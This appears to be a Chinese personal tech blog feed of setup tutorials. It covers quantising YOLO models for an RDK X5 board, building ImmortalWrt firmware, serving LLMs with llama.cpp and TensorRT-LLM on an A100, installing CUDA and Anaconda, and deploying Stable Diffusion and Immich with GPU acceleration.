Magic DNS自定义配置示例 /opt/headscale/config/extra-records.json

[
  {
    "name": "shattered-pc.ts.net",
    "type": "A",
    "value": "100.0.0.1"
  },
  {
    "name": "dmj-server.ts.net",
    "type": "A",
    "value": "100.0.0.11"
  }
]

ACL ? ?

未完待续~hh

RDK-x5 量化部署YOLO v8模型推理摄像头视频流

Mon, 22 Sep 2025 00:00:00 GMT

x86端准备模型

首先在x86端准备好你训练好的YOLO模型，下载此py，将模型导出为onnx格式。

脚本会使用ultralytics.YOLO类对YOLO的pt模型进行加载, 使用猴子补丁(Monkey Patch)的方法对模型在PyTorch层面进行替换, 进行并调用ultralytics.YOLO.export方法对模型进行导出. 导出的ONNX模型会保存在pt模型同级目录下.

python export_monkey_patch.py --pt best.pt

然后需要一个性能较强的docker环境用于生成专为RDK优化的二进制文件，以下是compose文件

version: '3.8'

services:
  ai-toolchain-x5:
    image: openexplorer/ai_toolchain_ubuntu_20_x5_cpu:v1.2.8

    container_name: rdk-toolchain

    volumes:
      - ./rdk_ws:/rdk_ws

    working_dir: /rdk_ws
    stdin_open: true
    tty: true

将导出的onnx放入./rdk_ws目录中，将一些验证集的图片（约几十张）放入./rdk_ws/cal目录中，然后进入docker交互终端并下载一键YOLO转换脚本

sudo docker-compose up -d
sudo docker exec -it rdk-toolchain /bin/bash
wget https://github.com/D-Robotics/rdk_model_zoo/raw/refs/heads/main/demos/Vision/ultralytics_YOLO/x86/mapper.py

脚本的参数如下

--onnx 指定输入的原始 ONNX 模型文件路径
--cal-images 指定用于校准的图片数据集路径，以减少精度损失
--quantized 设置量化策略
--optimize-level 设置编译优化的等级，可选-O0 -O1 -O2 -O3，数字越大越好越慢
--jobs 编译线程
--save-cache 保留缓存

我的命令如下，可根据实际修改

python3 mapper.py --onnx best.onnx --cal-images cal --jobs 64 --optimize-level O3

然后会输出一个.bin的二进制文件，这就是ARM端所需要的特制模型

RDK端推理模型

可以先安装uv用于环境管理

curl -LsSf https://astral.sh/uv/install.sh | sh

拉取官方SDK

git clone https://github.com/D-Robotics/rdk_model_zoo.git
cd rdk_model_zoo/demos/Vision/ultralytics_YOLO

创建一个虚拟环境并激活，以及安装需要的依赖包

uv venv --python 3.10 venv
source venv/bin/activate
uv pip install ultralytics
uv pip install hobot_dnn_rdkx5
uv pip install "numpy<2.0"

运行测试脚本

python3 py/Ultralytics_YOLO_Detect_YUV420SP.py

调用免驱摄像头检测

下载此脚本，用于调用摄像头并推理模型的示例文件

python realtime_camera_yolo.py --model-path best_bayese_640x640_nv12.bin

参考文档

官方教程 rdk_model_zoo/demos/Vision/ultralytics_YOLO/README_cn.md at main · D-Robotics/rdk_model_zoo

Cudy TR3000 v1 编译 ImmortalWrt 24.10

Thu, 11 Sep 2025 00:00:00 GMT

配置环境

使用官方的一键脚本安装必要的编译软件包

sudo bash -c 'bash <(curl -s https://build-scripts.immortalwrt.org/init_build_environment.sh)'

亦或是使用APT自行安装

sudo apt update -y
sudo apt full-upgrade -y
sudo apt install -y ack antlr3 asciidoc autoconf automake autopoint binutils bison build-essential \
  bzip2 ccache clang cmake cpio curl device-tree-compiler ecj fastjar flex gawk gettext gcc-multilib \
  g++-multilib git gnutls-dev gperf haveged help2man intltool lib32gcc-s1 libc6-dev-i386 libelf-dev \
  libglib2.0-dev libgmp3-dev libltdl-dev libmpc-dev libmpfr-dev libncurses-dev libpython3-dev \
  libreadline-dev libssl-dev libtool libyaml-dev libz-dev lld llvm lrzsz mkisofs msmtp nano \
  ninja-build p7zip p7zip-full patch pkgconf python3 python3-pip python3-ply python3-docutils \
  python3-pyelftools qemu-utils re2c rsync scons squashfs-tools subversion swig texinfo uglifyjs \
  upx-ucl unzip vim wget xmlto xxd zlib1g-dev zstd

编译默认纯净固件

拉取ImmortalWrt 24.10分支代码

git clone -b openwrt-24.10 --single-branch --filter=blob:none https://github.com/immortalwrt/immortalwrt

更新并安装软件源

./scripts/feeds update -a
./scripts/feeds install -a

进入可视化菜单编辑配置信息

make menuconfig

前三项如图所示，即为Cudy TR3000 256M v1的固件选项，注意空格是选择，双击esc是返回上一页

主菜单双击esc后回车保存配置

下载编译软件包源码后开始编译，注意64是CPU核心数，可按自身配置自行决定

make download
make -j64

固件保存位置位于

/immortalwrt/bin/targets/mediatek/filogic/immortalwrt-mediatek-filogic-cudy_tr3000-256mb-v1-squashfs-sysupgrade.bin

添加自定义软件源以及定制OP固件

执行以下命令添加momo和nikki的软件源仓库

echo "src-git momo https://github.com/nikkinikki-org/OpenWrt-momo.git;main" >> "feeds.conf.default"
echo "src-git nikki https://github.com/nikkinikki-org/OpenWrt-nikki.git;main" >> "feeds.conf.default"

注意添加后需要重新执行

./scripts/feeds update -a
./scripts/feeds install -a

然后进入菜单勾选需要的软件包

make menuconfig

例如Argon主题位于 LuCI > Themes，双击空格选中Argon主题即可

nikki和momo位于 LuCI > Application，找到后双击选中即可，需要的依赖如kmod也会自动勾选

其余软件包可根据自身需要自行决定，如upnp等

如需要F50等CPE USB供网，请在Kernel modules > USB Support选择以下软件包，注：usb网口为eth1

kmod-usb-core
kmod-usb-net
kmod-usb-net-cdc-ether
kmod-usb-net-rndis
kmod-usb3

保存后即可开始编译了

make download
make -j64

如何刷写？

已是OpenWrt系统直接在系统 > 备份与升级 > 刷写新的固件，选择bin文件即可

Linux编译llama.cpp部署gpt-oss-20b-Q8-gguf

Sat, 09 Aug 2025 00:00:00 GMT

前言

A100无法推理原生的fp4量化模型，TensorRT-LLM难以部署，故选择了llama.cpp，在使用前记得配置CUDA环境（之前的教程有）

编译llama.cpp

键入以下命令拉取最新源码并编译llama相关的二进制可执行程序

apt-get update
apt-get install pciutils build-essential cmake curl libcurl4-openssl-dev -y
git clone https://github.com/ggml-org/llama.cpp
cmake llama.cpp -B llama.cpp/build \
    -DBUILD_SHARED_LIBS=OFF -DGGML_CUDA=ON -DLLAMA_CURL=ON -DLLAMA_SERVER=ON
cmake --build llama.cpp/build --config Release -j --clean-first --target llama-cli llama-gguf-split llama-server

复制程序到项目根目录便于使用

cp llama.cpp/build/bin/llama-* llama.cpp

拉取gguf

进入抱脸网，选择一个自己想要部署的模型，例如gpt-oss-20b-Q8_0.gguf，如下图点击复制下载链接

新建一个文件夹用于存放gguf并进入

mkdir -p gguf/gpt-oss-20b-GGUF | cd gguf/gpt-oss-20b-GGUF/

使用wget下载模型

wget https://huggingface.co/unsloth/gpt-oss-20b-GGUF/resolve/main/gpt-oss-20b-Q8_0.gguf

推理gguf模型

llama.cpp/llama-server      --model gguf/gpt-oss-20b-GGUF/gpt-oss-20b-Q8_0.gguf     --n-gpu-layers 99     --host 0.0.0.0     --port 8080

接入Cherry Studio

注意IP+端口，密钥随便填，点击管理会自动给出正在推理的模型

Windows 使用Anaconda 搭建 YOLO环境教程

Fri, 08 Aug 2025 00:00:00 GMT

安装Anaconda

为了良好的管理我们的各类环境，首先我们先在c以外的盘创建一个env的文件夹，接下来所有的环境都会安装于此，例如我现在创建在 D:\env 。

进入官网下载conda安装包

一路next，直到这边修改安装路径到env

如果你的电脑没有任何Python环境，可以全部勾选

接下来一路next直到Finish，然后准备添加环境变量，搜索环境变量并打开

根据自己的路径添加以下四条变量

D:\env\anaconda3
D:\env\anaconda3\Library\usr\bin
D:\env\anaconda3\Library\bin
D:\env\anaconda3\Scripts

打开cmd输入conda -V，若有回显则安装成功

接下来要修改环境/包的安装路径以及换源

首先进入C盘找到用户文件夹，进入自己电脑用户名的文件夹，找到.condarc文件用记事本打开

添加实际的路径用于指定安装环境/包的路径，防止过度占用C盘

添加以下内容进行换源，防止网络问题导致环境拉不下来

channels:
  - defaults
default_channels:
  - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main
  - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r
  - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/msys2
custom_channels:
  conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  msys2: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  bioconda: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  menpo: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  pytorch: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  pytorch-lts: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  simpleitk: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  deepmodeling: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/
envs_dirs:
  - D:\env\anaconda3\envs
pkgs_dirs:
  - D:\env\anaconda3\pkgs

然后在cmd输入conda init完成初始化，conda至此便安装完成

安装CUDA环境

首先先在NVIDIA APP更新最新版的显卡驱动，安装完成后记得重启电脑

cmd输入nvidia-smi，确保CUDA Version>12.9

接下来进入官网下载最新版CUDA Toolkit安装包，注意版本与上面的CUDA Version一致

选择自定义

更改安装位置

安装完成后cmd输入nvcc -V，有回显则安装成功

构建YOLO虚拟环境

键入以下命令创建名为yolo的conda环境

conda create --name yolo python=3.11

输入y并回车

输入以下命令激活虚拟环境（注意路径前面的括号则代表激活成功）

conda activate yolo

进入PyTorch官网安装GPU版本的PyTorch包，确保选项无误复制安装命令到cmd

经过漫长的等待，安装成功

输入以下命令检验CUDA是否可用

python -c "import torch; print(f'CUDA 是否可用: {torch.cuda.is_available()}')"

安装YOLO包

pip install ultralytics

简单使用YOLO

累了，歇会，见下一篇文章吧

Tensor-LLM 1.0.0rc4 量化推理QwQ-32B int4

Fri, 25 Jul 2025 00:00:00 GMT

环境

TensorRT-LLM 1.0.0rc4
单张A100-PCIE-40G
120G内存+40G SWAP

QwQ-32B-int4量化推理

生成检查点代码

python /app/tensorrt_llm/examples/models/core/qwen/convert_checkpoint.py     --output_dir /workspace/models/QwQ-32B-checkpoint     --model_dir /workspace/models/QwQ-32B     --dtype float16     --tp_size 1     --pp_size 1     --workers 8     --use_parallel_embedding --use_weight_only --weight_only_precision int4

保存 build_config.json 配置文件
构建 TensorRT 引擎

{
  "tensor_parallel": 1,
  "pipeline_parallel": 1,
  "max_batch_size": 1,
  "max_input_len": 4096,
  "max_seq_len": 8192,
  "max_num_tokens": 4096,
  "max_beam_width": 1,
  "enable_weight_only_quantization": true,
  "gpt_attention_plugin": "float16",
  "remove_input_padding": true,
  "context_fmha": true,
  "log_level": "info"
}

trtllm-build     --output_dir /workspace/models/QwQ-32B-engine     --checkpoint_dir /workspace/models/QwQ-32B-checkpoint     --build_config /workspace/models/build_config.json     --workers 8     --cluster_key A100-PCIe-40GB

推理构建出的TRT引擎

trtllm-serve serve /workspace/models/QwQ-32B-engine --tokenizer /workspace/models/QwQ-32B --host 0.0.0.0 --port 8000 --tp_size 1 --pp_size 1 --max_batch_size 1 --max_seq_len 8192 --max_beam_width 1 --max_num_tokens 4096 --log_level info --num_postprocess_workers 8

实际显存占用约20G

[TensorRT-LLM][INFO] Memory usage when calculating max tokens in paged kv cache: total: 39.49 GiB, available: 20.44 GiB

基准测试

Tips: 基准测试会先测试原始模型，所以如果像我这种显存<60G的就不用尝试了（

准备合成数据集

python benchmarks/cpp/prepare_dataset.py --stdout --tokenizer Qwen/QwQ-32B token-norm-dist --input-mean 4096 --output-mean 1024 --input-stdev 0 --output-stdev 0 --num-requests 3000 > /tmp/synthetic_128_128.txt

运行吞吐量基准测试

trtllm-bench --model Qwen/QwQ-32B --model_path /workspace/models/QwQ-32B throughput --dataset /tmp/synthetic_128_128.txt --engine_dir /workspace/models/QwQ-32B-engine

关于Qwen3

主播尝试了接近两天，也难以在目前版本量化推理Qwen3-14B以上的模型

下面的方法仅供参考

修改源代码

在此版本，Qwen会因为模型结构与实际的模型权重文件不匹配报错，解决自PR，官方尚未回复，后续若合并代码，则不用修改了

head_dim = getattr(
            hf_config, "head_dim",
            hf_config.hidden_size // hf_config.num_attention_heads)

然后按照上面的方法量化推理后，正常输出几个tokens后就会输出乱码，搞不定...

后续尝试了通过 SmoothQuant 量化，也以失败告终...还是等版本稳定了再试试Qwen3吧

二遍：1.0.0rc5 #6344 已经修复权重计算的问题

Ubuntu24.04安装多版本CUDA

Sun, 20 Jul 2025 00:00:00 GMT

进入官方下载页，确认版本无误后开始下载安装

按空格取消第一个选项（驱动）的勾选，然后选择Install，下一步会出现yes or no选择no

等待出现以下代码表示安装成功

===========
= Summary =
===========

Driver:   Not Selected
Toolkit:  Installed in /usr/local/cuda-12.8/

Please make sure that
 -   PATH includes /usr/local/cuda-12.8/bin
 -   LD_LIBRARY_PATH includes /usr/local/cuda-12.8/lib64, or, add /usr/local/cuda-12.8/lib64 to /etc/ld.so.conf and run ldconfig as root

To uninstall the CUDA Toolkit, run cuda-uninstaller in /usr/local/cuda-12.8/bin
***WARNING: Incomplete installation! This installation did not install the CUDA Driver. A driver of version at least 570.00 is required for CUDA 12.8 functionality to work.
To install the driver using this installer, run the following command, replacing <CudaInstaller> with the name of this run file:
    sudo <CudaInstaller>.run --silent --driver

Logfile is /var/log/cuda-installer.log

然后我们需要配置环境变量以确保两个cuda的共存

sudo vim ~/.bashrc

添加以下内容来设置

alias cuda128='export PATH=/usr/local/cuda-12.8/bin:$PATH; export LD_LIBRARY_PATH=/usr/local/cuda-12.8/lib64:$LD_LIBRARY_PATH'

alias cuda129='export PATH=/usr/local/cuda-12.9/bin:$PATH; export LD_LIBRARY_PATH=/usr/local/cuda-12.9/lib64:$LD_LIBRARY_PATH'

修改以下内容选择你需要默认的cuda版本，如果要12.8就替换掉下面的12.9

export PATH=/usr/local/cuda-12.9/bin:$PATH
export LD_LIBRARY_PATH=/usr/local/cuda-12.9/lib64:$LD_LIBRARY_PATH

验证

nvcc --version
cuda128 #用于切换到CUDA12.8版本
nvcc --version
cuda129 #用于切换到CUDA12.9版本
nvcc --version

Ubuntu 部署 Stable Diffusion 秋叶整合包

Sun, 20 Jul 2025 00:00:00 GMT

提示

如果只是想简单运行sd，可以直接运行包内的webui.sh，会自动创建虚拟环境并配置，属于是一键脚本，但是本文主要希望通过cuda12.8+最新的pytorch来运行

下载秋叶大佬的整合包

下载文档 | 解压密码：bilibili-秋葉aaaki，下载cu128的版本

解压命令

sudo apt update
sudo apt install p7zip-full
7z x sd-webui-aki-v4.11.1-cu128.7z -pbilibili-秋葉aaaki

创建并进入虚拟环境

conda create -n sd python==3.11
conda activate sd

安装cuda12.8的pytorch

pip install torch==2.7.1+cu128 torchvision==0.22.1+cu128 --extra-index-url https://download.pytorch.org/whl/cu128

安装requirements

cd /home/ros/sd-webui-aki-v4.11.1-cu128 # 进入你自己的路径
pip install -r requirements.txt
pip install -r requirements_versions.txt
pip install clip xformers diffusers

运行sd程序

python webui.py --server-name=0.0.0.0 --api

提示有包没安装全，安装就完事了

修复路径错误

不知道什么地方程序写错了，导致图片会被创建到‘outputs\txt2img-images’这个文件夹，\是Win的目录分隔符，导致网页会读不到创建的图片，所以我们需要创建一个软连接来弥补这个错误

cd ~/sd-webui-aki-v4.11.1-cu128
rm -rf outputs/txt2img-images
rm 'outputs\txt2img-images'
mkdir -p outputs/txt2img-images
ln -s ./outputs/txt2img-images 'outputs\txt2img-images'
ls -l | grep 'outputs\\txt2img-images'

(二编)亦或是在设置这边改就行了

大功告成！Enjoy it~

单卡A100通过TensorRT-LLM量化推理Qwen3-8B简单教程

Sat, 19 Jul 2025 00:00:00 GMT

拉取TensorRT-LLM的docker镜像+LLM镜像

需要准备好镜像文件和需要量化推理的模型，本次实验的是Qwen3-8B

sudo docker run --rm -it \
    --ipc=host \
    --ulimit memlock=-1 \
    --ulimit stack=67108864 \
    --gpus=all \
    -v /home/ros/tensorrt-llm/models:/workspace/models \
    -p 8000:8000 \
    nvcr.io/nvidia/tensorrt-llm/release:1.0.0rc3

LLM拉取代码

sudo apt install git-lfs
git clone https://www.modelscope.cn/Qwen/Qwen3-8B.git

安装NVIDIA Container Toolkit

由于上面的镜像+模型较大（30G+15G），所以我们现在来安装给docker用的NVIDIA Container Toolkit，依次键入以下命令后重启终端即可

curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey | sudo gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg \
  && curl -s -L https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list | \
    sed 's#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g' | \
    sudo tee /etc/apt/sources.list.d/nvidia-container-toolkit.list

sudo apt-get update

export NVIDIA_CONTAINER_TOOLKIT_VERSION=1.17.8-1
  sudo apt-get install -y \
      nvidia-container-toolkit=${NVIDIA_CONTAINER_TOOLKIT_VERSION} \
      nvidia-container-toolkit-base=${NVIDIA_CONTAINER_TOOLKIT_VERSION} \
      libnvidia-container-tools=${NVIDIA_CONTAINER_TOOLKIT_VERSION} \
      libnvidia-container1=${NVIDIA_CONTAINER_TOOLKIT_VERSION}

TensorRT-LLM基本流程

上述内容都拉取安装完毕后，进入到容器的命令行交互界面，执行三个流程

Convert Checkpoint 将不同框架权重转换为TRT能识别的检查点

python /app/tensorrt_llm/examples/models/core/qwen/convert_checkpoint.py \
    --output_dir /workspace/models/Qwen3-8B-checkpoint \
    --model_dir /workspace/models/Qwen3-8B \
    --dtype float16 \
    --tp_size 1 \
    --pp_size 1 \
    --workers 32 \
    --use_parallel_embedding

保存 build_config.json 配置文件，后续可以根据需要快速修改
Build TensorRT Engine 构建 TensorRT 引擎

{
  "tensor_parallel": 1,
  "pipeline_parallel": 1,
  "max_batch_size": 1,
  "max_input_len": 8192,
  "max_output_len": 8192,
  "max_seq_len": 16384,
  "max_num_tokens": 8192,
  "max_beam_width": 1,
  "opt_num_tokens":8192,
  "gemm_plugin": "float16",
  "gpt_attention_plugin": "float16",
  "remove_input_padding": "enable",
  "context_fmha": "enable",
  "log_level": "info"
}

trtllm-build \
    --output_dir /workspace/models/Qwen3-8B-engine \
    --checkpoint_dir /workspace/models/Qwen3-8B-checkpoint \
    --build_config /workspace/models/build_config.json \
    --workers 32 \
    --cluster_key A100-PCIe-40GB

推理构建出的TRT引擎

python /app/tensorrt_llm/examples/run.py \
    --engine_dir /workspace/models/Qwen3-8B-engine \
    --tokenizer_dir /workspace/models/Qwen3-8B \
    --input_text "Born in north-east France, Soyer trained as a" \
    --max_output_len 128 \
    --log_level info

OpenAI协议通用Server

trtllm-serve serve /workspace/models/Qwen3-8B-engine --tokenizer /workspace/models/Qwen3-8B --host 0.0.0.0 --port 8000 --tp_size 1 --pp_size 1 --max_batch_size 1 --max_seq_len 2048 --max_beam_width 1 --max_num_tokens 1024 --log_level info --num_postprocess_workers 16

如何使用 ↓

from openai import OpenAI

client = OpenAI(
    base_url="http://localhost:8000/v1",
    api_key="tensorrt_llm",
)

response = client.chat.completions.create(
    model="TinyLlama-1.1B-Chat-v1.0",
    messages=[{
        "role": "system",
        "content": "you are a helpful assistant"
    }, {
        "role": "user",
        "content": "Where is New York?"
    }],
    max_tokens=20,
)
print(response)

接入Cherry Studio ↓

后端似乎还不支持enable_thinking这个Qwen3首发的参数，所以随便填一个其它的模型名就可以了

PVE 直通 A100：Ubuntu 驱动与 CUDA 配置

Sat, 19 Jul 2025 00:00:00 GMT

前言

本文所有软件包都是基于当前时间点最新的稳定版本，主打一个追新，产品更新迭代很快，希望这个教程可以帮到正在探索的你

PVE

PVE初始化后安装PVE Tools，可按照网上教程进行配置硬件直通

创建Ubuntu虚拟机

首先下载Ubuntu24.04-desktop的镜像文件，然后在PVE添加虚拟机，需要注意以下几个点

BIOS：SeaBIOS（必须！！！）
机型：q35
处理器类型：host
硬盘：勾选SSD仿真（应该不会有人给A100配HDD吧）
PCI 设备（A100）：勾选所有功能、ROM-Bar、PCI-Express

跟着引导走完安装流程，然后记得移除镜像文件再重启，进入系统

安装NVIDIA Driver

前往NVIDIA驱动下载页选择适合的驱动并下载

输入以下命令安装deb包

sudo su
dpkg -i nvidia-driver-local-repo-ubuntu2404-575.57.08_1.0-1_amd64.deb
cp /var/nvidia-driver-local-repo-ubuntu2404-575.57.08/nvidia-driver-local-4C5D6373-keyring.gpg /usr/share/keyrings/

输入以下命令开始安装驱动

apt update
apt install -y nvidia-driver-575 # 数字要与上面下的deb包对应
echo "blacklist nouveau" | sudo tee /etc/modprobe.d/blacklist-nouveau.conf # 禁用 Nouveau 驱动
echo "options nouveau modeset=0" | sudo tee -a /etc/modprobe.d/blacklist-nouveau.conf # 禁用 Nouveau 驱动
update-initramfs -u
reboot

输入以下命令验证驱动安装，若回显正确的信息则说明安装完成（失败请检查虚拟机配置）

nvidia-smi

安装CUDA Toolkit

下载历史版本的请前往归档页自行寻找适合的包安装，最新版前往latest下载页按下图选择后下载

输入图中的命令，其中 Driver Installer 的两条命令分别是安装开源、闭源版本的驱动，一般无特殊需求选择下面的闭源版本即可

wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2404/x86_64/cuda-keyring_1.1-1_all.deb
sudo dpkg -i cuda-keyring_1.1-1_all.deb
sudo apt-get update
sudo apt-get -y install cuda-toolkit-12-9
sudo apt-get install -y cuda-drivers

验证安装

nvcc -V

如果安装成功但是nvcc没有回显，可以在~/.bashrc文件尾添加下面的路径，重新进入Terminal再次输入即可成功验证

# CUDA Toolkit paths (managed by update-alternatives)
export PATH=/usr/local/cuda/bin:$PATH
export LD_LIBRARY_PATH=/usr/local/cuda/lib64:$LD_LIBRARY_PATH

安装TensorRT

下载最新的TensorRT安装包

输入以下命令安装

sudo dpkg -i nv-tensorrt-local-repo-ubuntu2404-10.12.0-cuda-12.9_1.0-1_amd64.deb
sudo cp /var/nv-tensorrt-local-repo-ubuntu2404-10.12.0-cuda-12.9/nv-tensorrt-local-A4FCDCCA-keyring.gpg /usr/share/keyrings/
sudo apt update
sudo apt install tensorrt

配置Python-TRT环境

安装conda

进入官网下载安装脚本

运行脚本并安装

chmod +x Anaconda3-2025.06-0-Linux-x86_64.sh
./Anaconda3-2025.06-0-Linux-x86_64.sh

前三项默认回车即可

最后询问是否初始化填yes

重新打开一个Terminal，发现conda已经初始化完成

如果你不想进入Terminal自动进入base环境，请输入以下命令

conda config --set auto_activate_base false

现在我们来创建一个名为tensor_rt的虚拟环境，首先先查看自己的Python版本，我们需要创建相同的Python环境

python3 --version

conda create -n tensor_rt python=3.12.3
conda activate tensor_rt # 进入名为tensor_rt的虚拟环境
python3 -m pip install --upgrade pip # 更新pip

复制系统环境中的trt包到虚拟环境中，首先在虚拟环境中输入以下命令确认虚拟环境包路径

python -c "from distutils.sysconfig import get_python_lib; print(get_python_lib())"

确认系统环境的trt包目录

ls /usr/lib/python3.12/dist-packages

开始复制

cp -r /usr/lib/python3.12/dist-packages/tensorrt* /home/ros/anaconda3/envs/tensor_rt/lib/python3.12/site-packages

在conda中验证

python -c "import tensorrt as trt; print(trt.__version__)"

大功告成~

UNRAID 使用 CUDA 加速 Immich 相似照片去重

Tue, 15 Jul 2025 00:00:00 GMT

上一篇文章介绍了如何在UNRAID下编排部署带GPU加速的Immich容器，这次介绍如何用immich-mediakit这个项目来实现带GPU加速的相似照片去重

修改Immich容器compose文件

主要修改database的port，我们需要将数据库的端口开放出来以便去重服务可以访问

name: immich

services:
  immich-server:
    container_name: immich_server
    image: ghcr.io/immich-app/immich-server:release
    # extends:
    #   file: hwaccel.transcoding.yml
    #   service: cpu # set to one of [nvenc, quicksync, rkmpp, vaapi, vaapi-wsl] for accelerated transcoding
    volumes:
      - /mnt/user/nas/Photos/libraries:/usr/src/app/libraries
      - /mnt/user/nas/Photos/immich:/usr/src/app/upload
      - /etc/localtime:/etc/localtime:ro
    environment:
      - MACHINE_LEARNING_GPU_ACCELERATION=cuda
      - NVIDIA_VISIBLE_DEVICES=all
    ports:
      - '2283:2283'
    depends_on:
      - redis
      - database
    restart: always
    healthcheck:
      disable: false
    runtime: nvidia

  immich-machine-learning:
    container_name: immich_machine_learning
    # For hardware acceleration, add one of -[armnn, cuda, rocm, openvino, rknn] to the image tag.
    # Example tag: ${IMMICH_VERSION:-release}-cuda
    image: ghcr.io/immich-app/immich-machine-learning:${IMMICH_VERSION:-release}-cuda
    deploy:
      resources:
        reservations:
          devices:
            - driver: nvidia
              count: 1
              capabilities:
                - gpu
    volumes:
      - /mnt/user/nas/Photos/model-cache:/cache
    restart: always
    healthcheck:
      disable: false

  redis:
    container_name: immich_redis
    image: docker.io/valkey/valkey:8-bookworm@sha256:fec42f399876eb6faf9e008570597741c87ff7662a54185593e74b09ce83d177
    healthcheck:
      test: redis-cli ping || exit 1
    restart: always

  database:
    container_name: immich_postgres
    image: ghcr.io/immich-app/postgres:14-vectorchord0.4.3-pgvectors0.2.0
    environment:
      POSTGRES_PASSWORD: postgres
      POSTGRES_USER: postgres
      POSTGRES_DB: immich
      POSTGRES_INITDB_ARGS: '--data-checksums'
      # Uncomment the DB_STORAGE_TYPE: 'HDD' var if your database isn't stored on SSDs
      DB_STORAGE_TYPE: 'HDD'
    volumes:
      - /mnt/user/nas/Photos/postgres:/var/lib/postgresql/data
    restart: always
    ports:
      - "5432:5432"

Immich-Mediakit容器

新建一个compose文件输入以下内容，重点修改以下几个点

/mnt/user/nas/都要修改为自己的路径
- /mnt/user/nas/Photos/immich:/immich:ro是immich的主目录，有thumbs、library等文件夹
不要修改qdrant的volumes配置，不然大概率会报错！详细见Github issue

name: immich-mediakit
services:
  immich-mediakit:
    container_name: immich-mediakit
    hostname: immich-mediakit
    image: razgrizhsu/immich-mediakit:latest-cuda
    restart: unless-stopped
    ports:
      - 8086:8086
    volumes:
      - /mnt/user/nas/immich-mediakit:/app/data                  # mediakit data
      - /mnt/user/nas/immich-mediakit/cache:/root/.cache/torch/  # model cache
      - /mnt/user/nas/Photos/immich:/immich:ro
    env_file:
      - .env
    environment:
      - DASH_DEBUG=false
      - IMMICH_PATH=/immich
    # GPU Support (Linux + NVIDIA GPU only)
    # To enable NVIDIA GPU acceleration:
    # 1. Change image tag to razgrizhsu/immich-mediakit:latest-cuda
    # 2. Uncomment the deploy configuration below
    deploy:
      resources:
        reservations:
          devices:
            - driver: nvidia
              count: 1
              capabilities: [gpu]

    depends_on:
      - qdrant
    healthcheck:
      test: sh -c "curl -f http://localhost:8086/ || exit 1"
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 40s
    networks:
      - immich-mediakit

  qdrant:
    container_name: immich-mediakit-qdrant
    image: qdrant/qdrant:dev
    restart: unless-stopped
    ports:
      - 6333:6333
    volumes:
      - qdrant:/qdrant/storage
      #- /mnt/user/nas/immich-mediakit/qdrant:/qdrant/storage
    networks:
      - immich-mediakit

networks:
  immich-mediakit:
    driver: bridge

volumes:
  qdrant:

新建一个.env

输入以下内容，重点修改几个地方

PSQL_HOST 输入immich主机的IP，不要输入127.0.0.1
其余数据库相关的与自己immich配置对齐，未修改则保持默认即可

# MediaKit settings
MKIT_PORT=8086
MKIT_DATA=./data


# Immich library connection (UPLOAD_LOCATION env variable of Immich if you're using Immich with docker compose)
# This folder should contain the 'thumbs', 'library' subfolder from your Immich installation.
IMMICH_PATH=/immich


# PostgreSQL connection to Immich
PSQL_HOST=192.168.101.236
PSQL_PORT=5432
PSQL_DB=immich
PSQL_USER=postgres
PSQL_PASS=postgres

# For different-host setup:
# You must change PSQL_HOST to the IP address of your Immich server
#
# Example:
# Immich running on 192.168.0.100
# MediaKit running on 192.168.0.200
# Change localhost above to 192.168.0.100

使用Immich-Mediakit

compose up拉取并启动容器，访问http://[ip]:8086，等待系统检查全通过即可开始使用

第一步点击Fetch获取所有媒体内容

第二步在Vectors，Quality选择Preview，然后根据自己GPU性能可以选择Batch Size，最后执行Process Assets，开始对内容数据计算并标签

第三步可以使用默认配置进行Find Similar，亦或是启用Related Tree并关闭Multi Mode，使用相关树来检测并管理照片

如遇到500错误，如，请检查qdrant的volumes配置是否与本文一致，与硬盘格式有关，详细见issue

Error validating vector storage: Unexpected Response: 500 (Internal Server Error)
Raw response content:
b'{"status":{"error":"Service internal error: 1 of 1 read operations failed:\\n  Service internal error: task 3802 panicked with message \\"called `Result::unwrap()` on an `Err` value: OutputTooSmall { ...'
07:50:16.559|ERRO| Error saving vector for asset 902: Unexpected Response: 500 (Internal Server Error)
Raw response content:
b'{"status":{"error":"Service internal error: 1 of 1 read operations failed:\\n  Service internal error: task

UNRAID部署Immich并启用cuda加速

Fri, 11 Jul 2025 00:00:00 GMT

安装并配置docker-compose

如图所示

创建一个immich的compose项目

编辑compose文件

注意以下几个点

本文件只适用于有NVIDIA显卡的用户
算力需要>5.3 cuda算力查询地址
驱动程序>= 545
Data Base放在SSD上的用户请注释掉DB_STORAGE_TYPE: 'HDD'
修改所有/mnt/user/nas/Photos为自己适合的路径

name: immich

services:
  immich-server:
    container_name: immich_server
    image: ghcr.io/immich-app/immich-server:release
    # extends:
    #   file: hwaccel.transcoding.yml
    #   service: cpu # set to one of [nvenc, quicksync, rkmpp, vaapi, vaapi-wsl] for accelerated transcoding
    volumes:
      - /mnt/user/nas/Photos/libraries:/usr/src/app/libraries
      - /mnt/user/nas/Photos/immich:/usr/src/app/upload
      - /etc/localtime:/etc/localtime:ro
    environment:
      - MACHINE_LEARNING_GPU_ACCELERATION=cuda
      - NVIDIA_VISIBLE_DEVICES=all
    ports:
      - '2283:2283'
    depends_on:
      - redis
      - database
    restart: always
    healthcheck:
      disable: false
    runtime: nvidia

  immich-machine-learning:
    container_name: immich_machine_learning
    # For hardware acceleration, add one of -[armnn, cuda, rocm, openvino, rknn] to the image tag.
    # Example tag: ${IMMICH_VERSION:-release}-cuda
    image: ghcr.io/immich-app/immich-machine-learning:${IMMICH_VERSION:-release}-cuda
    deploy:
      resources:
        reservations:
          devices:
            - driver: nvidia
              count: 1
              capabilities:
                - gpu
    volumes:
